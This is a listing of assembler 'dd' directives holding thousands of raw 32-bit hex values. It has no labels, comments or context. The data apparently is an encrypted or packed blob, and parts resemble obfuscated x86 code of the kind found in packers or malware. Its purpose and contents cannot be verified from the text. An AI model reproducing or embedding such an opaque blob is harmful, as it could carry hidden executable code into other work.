		dd 2AA93070h, 0FA12DF80h, 4D586C21h, 26B13256h,	0C5585CCDh
		dd 4009528Fh, 2FC6E4CFh, 8B52D139h, 9C4D6FDFh, 0BAB13247h
		dd 2CC00EA8h, 0C4EE0E3Ah, 44AB5F98h, 0E02321B9h, 0B10BB93Fh
		dd 3B79C2Ch, 75B1325Eh,	16BB1CE4h, 0C88CB6C0h, 0A1B10DD5h
		dd 57B39AD2h, 1CE05256h, 0AB086D07h, 8BAA0E09h,	0BE3A5436h
		dd 0BAB2B659h, 8F313256h, 913253F9h, 0C343DA9h,	52B13256h
		dd 0B5A5F5D5h, 0EAB13FBEh, 3F4C4456h, 0FAE32527h, 4C0522DAh
		dd 0A65876AAh, 69B13256h, 0B90A12B5h, 8BDEFE02h, 5393EBD7h
		dd 7AD06BC6h, 0BAB121DAh, 5DBFDB56h, 7BB13256h,	55DC762h
		dd 0DEB278C1h, 208324C6h, 154EB9BFh, 7E383DA9h,	0DAB13256h
		dd 5DB1BD59h, 63313256h, 2832532Fh, 2FBE3252h, 0D5B1323Dh
		dd 0EABCDBAFh, 0B4FD3256h, 4E34F56h, 4CEE7B55h,	2D87C423h
		dd 58B13E29h, 0ABB17CD2h, 0D5A0DB56h, 0FA583256h, 4C473C5Dh
		dd 97A67098h, 78657D46h, 0A1BA746Ah, 57B127D4h,	0CAD15256h
		dd 0D5B13EBFh, 787DBB56h, 40FEE5C8h, 57145F8Dh,	7B5853E6h
		dd 0A1B13256h, 57B123D8h, 0ABBDDB56h, 37463256h, 8EFCCE3Eh
		dd 244289C9h, 4548799Ch, 0DE4DCE13h, 474D2691h,	0A84ECCAEh
		dd 0BBCEB1AAh, 0AC353D53h, 3B13256h, 75B1325Ch,	15CB9607h
		dd 35C93AADh, 0D13227E4h, 0D2BE3446h, 0ABB132E6h, 0D5B13EBFh
		dd 9C92B56h, 2C0A0F6Ch,	1FF3B6FBh, 4F58739Ah, 2BB13256h
		dd 0EF963F76h, 0CFDD6B9Eh, 156314Ah, 19B3118Bh,	71F6B958h
		dd 0E14E8836h, 0DCD711EEh, 0CF6B5CA0h, 58BD6DDDh, 0ABB12BDDh
		dd 0C5585256h, 56B13256h, 19B86BD9h, 93EDB062h,	0F46F35A8h
		dd 0FFAF471Fh, 8858530Dh, 57B13256h, 3CB575DDh,	0EAB13242h
		dd 0DE1582D8h, 226673FAh, 0F77D931Ah, 113430A3h, 31F3C5D1h
		dd 0A4BD6DDDh, 0D5B12AD0h, 0EAA2DB56h, 26463256h, 3CFC8445h
		dd 5846F257h, 35260B77h, 0BA2A6FE9h, 0AB28DB00h, 0DC583256h
		dd 99B13256h, 467940FCh, 0FD4C07D7h, 0B4B575DDh, 0AEB13246h
		dd 748978FCh, 29FA6F79h, 5CE4B40Fh, 9D7A6354h, 15BD6DDDh
		dd 0BC323DAAh, 52B13256h, 0AEB132DBh, 7C4D5356h, 2DBE3609h
		dd 0D5B1325Eh, 8CEB6036h, 149A68EEh, 0B5B4D9D5h, 5DB133D1h
		dd 0A758CA56h, 0CB13256h, 0A0A173Bh, 0E2C89437h, 0E9A14DD5h
		dd 759CB759h, 0DAD13256h, 823A6D07h, 0AEA2DB37h, 9FE23256h
		dd 67BFB33Ch, 0BE9B59DFh, 0A2159D0Bh, 7FD0EFA4h, 3D153E3h
		dd 2449B4D1h, 7A628C30h, 7C4D7337h, 0F738C78Fh,	6D4D3357h
		dd 154ECDA9h, 75B122BFh, 1C094756h, 0D286B2C4h,	0B02784FCh
		dd 0A177622Bh, 0ABB48B17h, 26493256h, 8358CAFDh, 154ECDABh
		dd 3A4FB930h, 52D01D83h, 0AEB13ED3h, 51353D56h,	0A4B13256h
		dd 0D5B132DDh, 61445356h, 13D1CE13h, 0E83EFAD7h, 94D0ECDDh
		dd 40F5436h, 57A3DBFFh,	0EBA3256h, 74C7CADh, 0C3BA53BAh
		dd 39FF9A95h, 7B608469h, 3DD1F137h, 0D75DDE8h, 8E085429h
		dd 0FBD05332h, 0D5B13ABFh, 1AE1956h, 8275B5D0h,	53D1638Fh
		dd 5DB13258h, 85842DA3h, 9F2827BFh, 0A013A336h,	63030A6h
		dd 0AC313238h, 78586137h, 47B13256h, 2D1E9BEAh,	83B89AA2h
		dd 3B2269D4h, 0ABB132BEh, 3F306856h, 0EC1FF1C6h, 0CAD75236h
		dd 0DBE6EC4h, 0B4D053A6h, 0AEB13242h, 5A951169h, 21538BB5h
		dd 364D851h, 0F51B8C4Dh, 72863A06h, 0C1E4A8DBh,	0D3BE34F8h
		dd 0AEB13251h, 57B0B159h, 13493256h, 0D5B13232h, 0EFF7DAAAh
		dd 0FE4D3256h, 0BAB4DB5Dh, 516F3256h, 47EFA352h, 57B1325Eh
		dd 0B57E6E7Eh, 0AEF8C5E2h, 5BD1F36Dh, 14C1856Fh, 0BAB1F4BFh
		dd 5DBBDB56h, 690E3256h, 0CE155C8Ah, 4E3D910Fh,	3CB57955h
		dd 0EAB13259h, 0A9785DD6h, 1A85081Eh, 0D7202AA2h, 95F1EDC2h
		dd 90333D97h, 0CBB13256h
		dd 54D7FDDDh, 8BE57BB4h, 75B0BF59h, 0B9493256h,	5758221Dh
		dd 0A7B13256h, 0FD8DDBE6h, 8F648293h, 0DA700999h, 0EAB107D4h
		dd 79595256h, 0C9B13256h, 3DE0DB89h, 0AAD1C7D6h, 0D64EECF3h
		dd 62708B9Eh, 6ED76C3Eh, 3D04F79h, 75B1327Bh, 0BABDB159h
		dd 0D3BE3256h, 0AEB13250h, 57B1BF59h, 29583256h, 0DAB13256h
		dd 0EAB122DCh, 75BADB56h, 26EC3256h, 367656A3h,	0E7C1286Eh
		dd 57D6DBE8h, 42D13256h, 0D5B13244h, 2C37CAC2h,	48B70D8Ah
		dd 0CA32FB9h, 0E943DBD8h, 23D0205Dh, 0F8E3D7CCh, 784ECA50h
		dd 0D5B0B259h, 1F483256h, 75B10ABFh, 0B7585256h, 2EB13256h
		dd 70291BA8h, 0FB3AAD22h, 9C151EF7h, 579B330h, 703C5327h
		dd 731E645Dh, 0DA62CDA3h, 5DB7B859h, 67303256h,	19E16EB2h
		dd 0ABB3B659h, 123A3256h, 3D16937h, 75B13259h, 741DB032h
		dd 0B2E63E09h, 6F35A8A1h, 310DB3DEh, 0CA86C6EEh, 54D7520Fh
		dd 8B7C328Eh, 75BADB0Eh, 2CFC3256h, 0A2824C4Dh,	662B81CBh
		dd 244F1FDh, 0ABA0B859h, 0D9583256h, 67B13256h,	0E864A973h
		dd 683D597h, 0A4FD0BC2h, 0A958DEDDh, 18B13256h,	0FE36FF50h
		dd 0D5597546h, 0B0B13256h, 0B0C7D8D7h, 0B65834F8h, 6B13256h
		dd 437FD8B0h, 9F6C719Dh, 0CB57D612h, 577BB330h,	0C553B329h
		dd 14B13CB8h, 0DCD1CA36h, 9D6FE2D7h, 143C53AEh,	511F4903h
		dd 0ABB134BFh, 3E859156h, 61E7FCD3h, 9CD13A13h,	0BAB13245h
		dd 53826D0Dh, 0E94DE818h, 0A8C3B993h, 7D7F37D4h, 541D1398h
		dd 85276C8Dh, 0F7BE5377h, 0BAB13253h, 0A161B936h, 0A1B6BB37h
		dd 57B123D2h, 0A0343D56h, 3CB13256h, 0EAB13250h, 0FD279A0Dh
		dd 0FF3AEB8Ah, 5C343D5Ah, 57B13256h, 58B575DFh,	0ABB124D8h
		dd 0D5A0DB56h, 8A1D3256h, 3E85F103h, 0EE9ED6ADh, 43AC71DDh
		dd 2502986Ch, 5A582213h, 0E9B13256h, 3ED7AA77h,	7EC837A9h
		dd 6A024212h, 0B5BD75DFh, 5DB135D6h, 0AF3F3D56h, 0AFB13256h
		dd 0CBA577DDh, 8B3D8306h, 63D0C0DDh, 0F8BE2211h, 0BAB1324Fh
		dd 5DA2B659h, 0A0583256h, 0A0B13256h, 7F1F5592h, 3959EBDCh
		dd 0AEEAAF81h, 15D1531Fh, 980A8AAAh, 3CD04C73h,	0A4333D9Fh
		dd 0BEB13256h, 0ABB13253h, 29B35040h, 0FA73CA79h, 0C2BE5256h
		dd 0BAA3DBA9h, 0DBE63256h, 0E631EF1Dh, 1BD67028h, 0F816E530h
		dd 0BB0A3E55h, 2C485237h, 0DDA4E7D3h, 0D24D7550h, 0F5A6414Ch
		dd 0AEBCBC59h, 58D13256h, 0ABB132DAh, 0A305456h, 15D05E90h
		dd 0DDBEA7E3h, 0BAB7DB50h, 9AA03256h, 496E6318h, 57B8B959h
		dd 0CBD13256h, 0C158A37h, 67D039A0h, 0DED843D3h, 30445250h
		dd 8D4E539Dh, 0AEB9DA36h, 6F403256h, 0E9BB4E66h, 0DA582FADh
		dd 0F1B13256h, 0C1963BD4h, 87896678h, 0DEAAB377h, 0CFEBCD93h
		dd 6F035204h, 0ABA2B259h, 0D8593256h, 0A7B13256h, 0C310647Eh
		dd 39646BC5h, 32689909h, 243C5309h, 511F4EBFh, 0CBE0CBAFh
		dd 0D5B120BEh, 9362CC56h, 0D1682C0Ch, 443F3714h, 4EA06748h
		dd 0C8375BFAh, 89F95EEh, 0ABBFBB59h, 0DD593256h, 79B13256h
		dd 5DB114C2h, 0E02885E5h, 51383D37h, 0A1B13256h, 57B134D6h
		dd 0AB363D56h, 2AB13256h, 0A0A5286h, 13FBB598h,	0E0D0E8DDh
		dd 0B433BFAFh, 0A1B79C2Ah, 57B137DEh, 46315256h, 62BE5395h
		dd 0E1583E16h, 7DB13256h, 0ABB3FB9Bh, 9870B9F4h, 763A6D13h
		dd 906E8936h, 5F0515A2h, 0D0586037h, 26B13256h,	71D03D3Dh
		dd 0B1580359h, 54B13256h, 0B3642915h, 80916A6h,	57EB03E0h
		dd 3C7231AFh, 0EAB13251h, 0BCAB31B7h, 33E47207h, 0F5AEE7D4h
		dd 0AF353D50h, 0ABB13256h, 0C34953AFh, 0F6051F8h, 57BBF8BFh
		dd 6130123Bh, 0E8F852h,	5A000000h, 0C822EA81h, 60F506AEh
		dd 60F9BF0Fh, 5A6591BAh, 0C6816632h, 6161AD50h,	828BF852h
		dd 6A81FD5h, 0F95660F5h, 800F5Eh, 61000000h, 0C64E6DB9h
		dd 8D0F6041h, 3, 81D8B70Fh, 0ACBA3DCEh,	0E1F7611Dh, 8860Fh
		dd 66600000h, 8AF034BAh, 605A61CEh, 0F5C38B66h,	30390561h
		dd 8F0F0000h, 0Ch, 6890Fh, 8F0F0000h, 0
		dd 0FFFFFF25h, 0DE97Fh,	8C050000h, 33970127h, 8EC57046h
		dd 89C0A7BEh, 0A81FD582h, 0C8C0F06h, 0F000000h,	681h, 840F00h
		dd 0F8000000h, 6E95Ah, 3E90000h, 2FDED5A2h, 12E959h, 7E930000h
		dd 0F2AFBB7Bh, 4141AECAh, 0E0FF212h, 0B8F71D32h, 188C0Fh
		dd 13E90000h, 60000000h, 612EEBE7h, 5281C675h, 0B173519Ah
		dd 78FDAC27h, 0FC35687h, 1387h,	0EE900h, 0EA6B0000h, 0FB840491h
		dd 95FE47CFh, 2DEC9E19h, 0E952F851h, 0Ch, 9D8A60FBh, 961CE9D0h
		dd 7136BC34h, 0E8h, 0EA815A00h,	6AEC938h, 14E9h, 7FFB5400h
		dd 8E65AFC4h, 7B2E251Eh, 886E188Bh, 2CC30D04h, 8B60F8AEh
		dd 38D0FFEh, 0F000000h,	8B61F8B7h, 88D0FC8h, 0F000000h
		dd 283h, 0E8616000h, 0FFFFFE95h, 8800Fh, 890F0000h, 2
		dd 0D2336160h, 0F9F1F7F5h, 13E9C28Bh, 8E000000h, 7D2D72C1h
		dd 21538D7Dh, 0E4B4753Fh, 9BB32C96h, 605AD2EBh,	6146CE80h
		dd 7E96059h, 1000000h, 0B9B47874h, 0C361E55Dh, 0BF0F5360h
		dd 0C6815BFBh, 5BC5990Ah, 0FCC08B61h, 7E9C08Bh,	0C1000000h
		dd 6262B61Eh, 858D2296h, 6AE9220h, 0F5D0FFF9h, 0F8C18B66h
		dd 0C810858Dh, 0BE906AEh, 8000000h, 2AF7FF0Dh, 7AEFC43Fh
		dd 8589BCF8h, 6A800B5h,	0FE9h, 0D43BB900h, 93FB78C1h, 6A74AB0Ch
		dd 463AC2F5h, 0C91F858Dh, 89FC06AEh, 0A808DD85h, 8C0F6006h
		dd 1, 89B460F9h, 1566E881h, 61613843h, 0B8h, 12E900h, 0FA320000h
		dd 19BAD91Ch, 5E288535h, 1DC5C9F6h, 793F7520h, 840FC00Bh
		dd 167h, 8E9h, 41C2D200h, 182DEF8Dh, 0D585C630h, 5606A815h
		dd 30DF68F9h, 8E0FA9C5h, 8, 28D0Fh, 61600000h, 13E9h, 5C400200h
		dd 1BE3A7E7h, 39DBA1B5h, 6F75D079h, 8D4D4734h, 0F95B5FFh
		dd 12E906A8h, 9B000000h, 7FBD0C2Dh, 25A11716h, 96C72967h
		dd 0E8A0187Dh, 71858D9Dh, 6006AB69h, 91B6DF8Bh,	0E9D0FF61h
		dd 7, 0F4B5A4BAh, 503F925Fh, 18A0Fh, 8DF90000h,	0A82CD98Dh
		dd 148A0F06h, 60000000h, 7E9h, 9AA63000h, 7AE0224Dh, 2C53CA81h
		dd 51614250h, 9E9h, 0C5BFD300h,	0D10A6573h, 46A18CDh, 0FE9h
		dd 8D6CD000h, 6165386Ch, 0FE23B902h, 509D0A59h,	100068F5h
		dd 0FFF90000h, 0A831D5B5h, 0D0FFF506h, 2A8D0Fh,	0E9600000h
		dd 0Ch,	0D452E3D0h, 7F4B18DEh, 0B0B1F294h, 12E9h, 0E947A000h
		dd 793252A9h, 8355A05Bh, 0F40E79DFh, 61CAF31Eh,	31D5BD8Bh
		dd 3FC06A8h, 13E93C7Fh,	68000000h, 8BDB6B28h, 4CB56CB8h
		dd 7817E7CCh, 3750B4C1h, 0C781CDDFh, 0F8h, 2447C7F5h, 60000020h
		dd 12E9h, 26E5C400h, 71C66537h,	0E9DCB85Bh, 0BD8393A0h
		dd 0FA7559Ch, 168Ch, 108E0F00h,	0E9000000h, 0Bh, 0E5482D9Fh
		dd 4F88EF62h, 8D4703BCh, 0A820659Dh, 0DE906h, 0A8F50000h
		dd 0DD0458A0h, 73A8AE93h, 8B1FAF5Eh, 18A0F03h, 0F8000000h
		dd 840FC00Bh, 1Eh, 0E9F9B060h, 8, 1A3B97D9h, 32E06A11h
		dd 0F5008B61h, 60044389h, 0BF0FFE8Ah, 0F6B961FBh, 0E800234Ch
		dd 0Eh,	60963ABh, 0ABD3957h, 16D1A519h,	0F5E9941h, 48Ah
		dd 81BB6600h, 0F8C681EDh, 6600005Eh, 0C933FB8Bh, 34FFDD8Ah
		dd 79E7BA31h, 0F580100h, 80h, 0FDF08100h, 6022531Ah, 4084BB66h
		dd 0A6C08161h, 66350AB6h, 4C7D381h, 660DE881h, 8B66312Fh
		dd 0E0489D1h, 8153D08Bh, 16C0D7D3h, 0E9815B3Fh,	33354F2Bh
		dd 5CFCCB81h, 0C1817920h, 33354F27h, 0B5D9BFBBh, 8CF9815Ch
		dd 0FFFFFA1h, 0FFFFA185h, 62C280FFh, 0CD368D8Dh, 958B06AEh
		dd 6A81F89h, 5B98D89h, 0E4B306A8h, 146985C7h, 649806A8h
		dd 958B0000h, 6A82A9Dh,	0BBD85C7h, 6A8h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0FF7812C3h, 0A81561B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0AE4AB809h
		dd 9E9h, 2CDF9000h, 0EAA00A4Ah,	0B5295A78h, 6A82889h, 20DD95FFh
		dd 950306A8h, 6A82A89h,	95FF006Ah, 6A81B31h, 0BEBC08Bh
		dd 45A64512h, 0BF6198F2h, 8DC2E6C3h, 0AECE0C8Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0BAA35F4Bh, 0DA81662Bh, 8D8967D2h, 6A805B9h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 2AC35040h, 77C816B6h
		dd 8D9D8Bh, 85C706A8h, 6A81469h, 7364h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 0AFC35040h, 8A3AB6E6h
		dd 0BD85C7FCh, 6A80Bh, 0F000000h, 0B5FFF1B7h, 6A82A11h
		dd 0AE22BB66h, 20DD95FFh, 6A06A8h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 264FF2C3h, 6A7B99h, 1B3195FFh
		dd 0C08B06A8h, 1FFB0DEBh, 0EC0373BBh, 9DA96A20h, 0E805DB4Dh
		dd 7, 0DF317A8h, 0B30594C8h, 30B95E0Eh,	8138AB0Dh, 6C7DC6h
		dd 25BD8900h, 6806A816h, 0
		dd 26B1B589h, 15806A8h,	0A82A9185h, 63C8B06h, 8E9h, 0BC7BF900h
		dd 6C09598Fh, 4BC78134h, 0F52E87E6h, 1923C781h,	950B0FBBh
		dd 6A83435h, 9250F781h,	8D8B6B15h, 6A815EDh, 898D8B57h
		dd 8F06A82Eh, 74B20604h, 3820Fh, 8B660000h, 88E881D1h
		dd 893B8BC0h, 0A802A9B5h, 84C08106h, 0F3B8BC0h,	0F881C8B7h
		dd 0FFFF9414h, 0FF9B850Fh, 8B66FFFFh, 3E8D8DC8h, 0E906AECFh
		dd 12h,	3CE71B25h, 9E8AE308h, 54C1C5Fh,	0B6B010A8h, 8D89F51Ch
		dd 6A805B9h, 1A99D89h, 95BE06A8h, 0C75C3420h, 0A8146985h
		dd 595806h, 0C78B6600h,	0BBD85C7h, 6A8h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0D7CF0BC3h, 6692AC46h, 0FF19E8BEh, 0A814A1B5h, 0FFD78B06h
		dd 0A820DD95h, 1890F06h, 0F5000000h, 95FF006Ah,	6A81B31h
		dd 29EBC08Bh, 8D437B26h, 2146C2C9h, 50F5F0B4h, 68C2638Eh
		dd 0B1C439DCh, 61236A52h, 3A6EDA50h, 0A8DC299Ah, 3E19201h
		dd 4051C91Ah, 22E955h, 6F680000h, 2B48h, 7 dup(0)
		dd 4CEE9h, 0D07E6800h, 1FE906AEh, 68FFF9AEh, 6AED0EAh
		dd 0F9AE15E9h, 0D22F68FFh, 0BE906AEh, 49FFF9AEh, 8023672Eh
		dd 0AF1096D3h, 0D97AC089h, 9AAF0B5h, 1AE12568h,	0D79ABB57h
		dd 34EF053h, 31781C87h,	622B4AF5h, 609A4024h, 0B606A628h
		dd 24B6DC1Ah, 7429C329h, 8E950358h, 0F99B5EFFh,	8523C7B0h
		dd 57D74743h, 86123DAFh, 90D97C25h, 0B803B10Ah,	0E155F802h
		dd 42FB5FFh, 0E1575F9Fh, 9873B5FFh, 0DC2F1B17h,	0CE1477h
		dd 51000003h, 43F12201h, 51B8C2F8h, 33B5FFEDh, 9766A018h
		dd 14B36553h, 36F393A0h, 0C2DB5815h, 7A5344E9h,	84F33A4Ch
		dd 66D1BA0Dh, 67DC7039h, 0BFC03943h, 54A6C0B5h,	1706F858h
		dd 0CC72A629h, 0F3194763h, 0B5C45149h, 901833C0h, 0E1256C0Fh
		dd 0B2561F3Eh, 0E875A4F6h, 4AA8199Ah, 81000003h, 0B81BAFE6h
		dd 0E748DE9Bh, 11B20841h, 41E2387Dh, 52D96D20h,	1F52F31Fh
		dd 4B06288Bh, 793054FFh, 0AAE3822Dh, 2852881Ch,	0B606A6F0h
		dd 0E7AF94D2h, 0AED80EB5h, 0B606A6DBh, 4B02228Dh, 0DD63B5E6h
		dd 8F1459FAh, 9E01A59Eh, 0CFCB7DFDh, 0B5B606A6h, 0BA65A19Ah
		dd 8F4FD499h, 0B606A786h, 91377E1Dh, 0F324C1D1h, 0DE1FE0C3h
		dd 15000002h, 44EF3B72h, 73DC6A2Fh, 0A50E9CD5h,	0D57ECC89h
		dd 26ADF9B4h, 93DE7F93h, 0C78AAC17h, 0F5BCE043h, 266F0EB1h
		dd 0A4E604E0h, 0B606A764h, 0E733185Eh, 4DBAEFB5h, 722DE3B8h
		dd 0DCC76D99h, 7BACF1B8h, 8F602B3Dh, 922B607h, 8F62A2A4h
		dd 2341B607h, 395CC56Ah, 0DC723370h, 149D3699h,	0EFB01B85h
		dd 706AF7E3h, 76903E14h, 0B6079732h, 0A6C62710h, 0CF6942EFh
		dd 1BE0Dh, 5CFF1600h, 6F0EF115h, 0A28F926h, 16B0564Fh
		dd 0AF57D712h, 72D147F0h, 4FDB92B1h, 0C7E358FCh, 9FB85F99h
		dd 0D9FF3AA6h, 0D66895Fh, 7B5CB600h, 110A97DAh,	3373FB38h
		dd 70B6000Dh, 216409C8h, 6DB2ABFCh, 5BD891B4h, 13A203F8h
		dd 7D7D268Dh, 1477E481h, 2064h,	0B5E7BF00h, 4FAED80Eh
		dd 35B60005h, 5155951Ah, 6DB60005h, 211D1D86h, 0C41477F8h
		dd 0AAh, 155CFF5Fh, 3B761788h, 470E2DF6h, 632A49DAh, 0DBBF2527h
		dd 57A1AF57h, 5F544526h, 0F5BAFE25h, 308B1F56h,	7983279Ch
		dd 0B6036756h, 0B9E7032Ch, 66B1E913h, 0B893B603h, 0C16E2B47h
		dd 0BEDF40E8h, 0BD96DB7Bh, 0E8A5C669h, 28026C30h, 368F2CF3h
		dd 199h, 5AE0A9D0h, 951154F9h, 0C3470E2Ah, 33773260h, 64A2EF90h
		dd 1738DA9Fh, 0C363CC5Ah, 0F597388Eh, 0A6C56EBCh, 19C35BEFh
		dd 6A8ABEFh, 0F45399B6h, 0ACDE5EFFh, 0AF57D76Ch, 92963056h
		dd 70AF57D7h, 0B1F5EEC7h, 8AAE6F0Eh, 0A6C55EC3h, 891DF6EFh
		dd 95DC8063h, 5CFF1803h, 68B5F09Dh, 0DD9463Fh, 0A28CB4CBh
		dd 0A008D169h, 0AED85CFFh, 0AF581C6Ah, 90883258h, 72AF581Ch
		dd 716E0D9h, 16957721h,	11FF4B24h, 80A9D2C7h, 0BD5EDB20h
		dd 63825C3Fh, 0F391F214h, 0F42475BAh, 8C3A8133h, 28E97Ah
		dd 4A70DBB6h, 6185C869h, 2989813Bh, 0D07BB600h,	0AB14F258h
		dd 4059C68Bh, 29161EE8h, 0EE8DB600h, 0F2A003A7h, 4AFC6AB7h
		dd 0B600294Eh, 0F6221B34h, 2E82A30Ch, 5FA436B6h, 0FE4FE11h
		dd 9374FB7h, 9A40EDC6h,	0E3CECA7Ch, 9BB4B5FFh, 0A7B21Dh
		dd 0E7950000h, 0AED80EB5h, 0B606A6D7h, 841D82ADh, 0F872A8E1h
		dd 886B87EBh, 3B8117E0h, 77BCF598h, 0ECC852F7h,	7B3251E3h
		dd 84C16D36h, 5EC7B41Fh, 46EF5CDFh, 0C2B41C3Fh,	70BAB0A9h
		dd 0D537A5B8h, 221BA07Ch, 0AC17FD49h, 0C956C287h, 0D40F02AAh
		dd 18E1D963h, 88A3E3ECh, 559EC67Eh, 0C06E377Ch,	4D266F0Dh
		dd 5B123699h, 8D0DC5D6h, 0DE4ECD1Ah, 47D84BEDh,	61C26F2Ah
		dd 252489CCh, 69A82788h, 0B9DCE34Ch, 0A59EDB78h, 0B4F19E01h
		dd 16359E64h, 0F306892h, 3912E3ECh, 9C07E340h, 3F68B5FCh
		dd 316F9h, 0B0310000h, 1158FFCBh, 3970138Ch, 40092BF4h
		dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h,	0CD84A47Dh
		dd 0D792BF60h, 1E68FA4Ah, 89000017h, 8956241Ch,	4C681E6h
		dd 83000000h, 348704EEh, 0C895C24h, 0E2895224h,	4C281h
		dd 0EA830000h, 24148704h, 2434895Ch, 2CBD5553h,	890EE474h
		dd 8AB95DEBh, 1F7CA5Bh,	8B545BD9h, 0C4832434h, 4EC8104h
		dd 89000000h, 468F240Ch, 2434FF08h, 4C4815Eh, 0FF000000h
		dd 81592434h, 4C4h, 0A968E900h,	1C46FFF9h, 88801D65h, 0E0C55A16h
		dd 0B8688E87h, 6AED3EDh, 0E0FFC503h, 38587552h,	4D608A65h
		dd 59E7B33h, 32455EACh,	78B43489h, 0A83F0Bh, 11C7EB91h
		dd 4D3C773Bh, 7D58464Ch, 956871Ah, 11BC5B1Ch, 5341F4F9h
		dd 7CBBCA4Eh, 3A973053h, 2C632A78h, 321A2C8Dh, 1BC060A0h
		dd 34964E57h, 5048FD23h, 756CBE7Ch, 5AFFA28Fh, 1DFD9F19h
		dd 45E454B0h, 0CE9h, 94705400h,	4Fh, 0
		dd 0B5BE900h, 91680000h, 0E906AED6h, 0FFFA7160h, 0AED76A68h
		dd 7156E906h, 3368FFFAh, 0E906AED9h, 0FFFA714Ch, 0AEDA0F68h
		dd 7142E906h, 0A668FFFAh, 0E906AEDBh, 0FFFA7138h, 0AEDD6F68h
		dd 712EE906h, 8868FFFAh, 0E906AEDEh, 0FFFA7124h, 527389F5h
		dd 0DFFC0A7Ch, 6300FCEBh, 0ED8E726Fh, 7A1BE199h, 87E39BD3h
		dd 7C6A587Dh, 0F8EDE182h, 601B6F0Ch, 8ACDF794h,	0F2BCC68h
		dd 11008958h, 8E7A139Fh, 0F8BB473Ch, 31E5114Ah,	3A5457AEh
		dd 8DC869EFh, 0CA4D2CD8h, 0DAFB0F78h, 0C82A36D3h, 5EA14CACh
		dd 9FC4B6E9h, 8F6EB363h, 0A6067C72h, 0A14C2844h, 5B3A655Eh
		dd 5AA766CBh, 0F941C138h, 0A373B25Bh, 0F96DD101h, 0E8A76BA7h
		dd 1FA5E006h, 8CBFC656h, 0A9FE3724h, 3A9D6A2Dh,	0A2000000h
		dd 81BEFCE5h, 0F9E25861h, 683A655Bh, 0F62C1AB6h, 0FC0278A7h
		dd 1CE2982Eh, 48B458Eh,	0DEF1812Dh, 0BF552A9h, 98DA6F22h
		dd 2F577119h, 0EC47561Eh, 6000000h, 6629DD88h, 4DB9D277h
		dd 0E51F4BD9h, 7C88E331h, 6993CFC3h, 0F5E634A6h, 95F2C001h
		dd 0B574B569h, 0B254AFD0h, 0DD80560h, 14F628EBh, 0CE5EA126h
		dd 3B44699Dh, 1B0290C0h, 6D2C69DFh, 2D3EAED9h, 52659ABFh
		dd 0BC47D7B6h, 0A9F31B7Bh, 67BE5EA1h, 9110E497h, 92AFED0Ah
		dd 0BD275D51h, 0E6A90D22h, 0E7A6099Ch, 0F91B223Bh, 4AACED5Bh
		dd 0A7F92022h, 0EE75346Fh, 6A9716B7h, 0B4D61728h, 0A7F92018h
		dd 0B64BCA55h, 0A0819054h, 68E61DA2h, 251EDFAFh, 0F9F50AEDh
		dd 645A7B81h, 5124867Ch, 853F8C47h, 8DFBE17h, 23430000h
		dd 94C6B4D9h, 164D4162h, 8CF5C9EAh, 37F5370h, 3D31D4F9h
		dd 0BEDF255Dh, 4F6C92C8h, 0D5F6027Bh, 6102F6E1h, 52FA1C23h
		dd 1F580F28h, 0B6D2BF92h, 423FB34Ch, 235EECBEh,	0BEA4FDFh
		dd 0E497EB88h, 0E5BC7310h, 6181BEFCh, 5BF9E258h, 59BE2965h
		dd 0E64BDB21h, 0B3129707h, 2C91C1E3h, 672BA7F6h, 0E0A0C628h
		dd 7F86561Eh, 1B6E30E5h, 0BC4DCC47h, 0CBh, 4DB9D285h, 55349B4h
		dd 0BE7991E0h, 0A1D96FFFh, 565A65Bh, 5EA145E9h,	28BA7DA4h
		dd 0A14214F6h, 699DCE5Eh, 0F1057644h, 0BBD83550h, 33BB0C6Fh
		dd 7E9BE270h, 0FAE3033Ch, 0B75BF93Ch, 0A34C4F6Ch, 8B6A94F2h
		dd 0CE671476h, 0C64CA2A0h, 41FE6195h, 0CEEF154Dh, 987A80F8h
		dd 3F8C38D3h, 6EC61F3h,	0B8000008h, 299D3EC4h, 562449BFh
		dd 0C2B0D529h, 443A5BA7h, 26C5E61Ch, 0CE34AC4Eh, 5DA3D9ADh
		dd 0E7134A38h, 7387F0C6h, 8DED3252h, 580F2961h,	9FCCE32Ch
		dd 1C8E7A13h, 30A81A9Dh, 6D98A9CAh, 6835A7A6h, 0AA189B45h
		dd 57ABD631h, 63304BF4h, 608CEE22h, 2D5EA1DEh, 9FF277F2h
		dd 63F71F7Fh, 63C25EA1h, 0A9553280h, 9F9285E6h,	0A8D7713h
		dd 63BCFB8h, 682BDF88h,	9933A4FAh, 0A1FEDD79h, 0FF6D985Eh
		dd 1BCC4C0Ah, 0CCF15033h, 0DD6220C9h, 586C619Ch, 0A8C25BDBh
		dd 0A1C61EB6h, 0DC85B5Eh, 0AD63FCD4h, 26DB5AC7h, 0F96C45C4h
		dd 47D74E5Bh, 0CD7286F1h, 77C26A8Ch, 148FA7F9h,	0E982F095h
		dd 1A57891Dh, 1E24BB68h, 0C73E4946h, 234C761Bh,	737F7441h
		dd 5C9FA9ACh, 1A4DC140h, 0AF7F85FDh, 0B40AAB0Ah, 0BD6737C3h
		dd 2CB3B014h, 94AEE1B7h, 7617E3h, 109EA357h, 1CE88366h
		dd 9768FABDh, 0D235816Ch, 31CD395Eh, 0BC67E239h, 4E9013D1h
		dd 67595E5Fh, 91ABE494h, 0A05401E6h, 0AFCCAFF2h, 0C654A0DBh
		dd 27D89A47h, 0E8C80EC7h, 127C8B29h, 32AD45C9h,	6C629F7Eh
		dd 680D8C7Ah, 7986C42Dh, 36C0BA38h, 31E51144h, 0DCF131F0h
		dd 0A9309399h, 0D77AA476h, 6F3A63EBh, 0EC0AE4ABh, 0FAC18927h
		dd 0A3738FF4h, 0A14ABF7Eh, 0D7000003h, 38F850Dh, 0BED5F868h
		dd 5E5D8D06h, 50B93CFFh, 308DED12h, 0FD5BF9CCh,	5332C6B1h
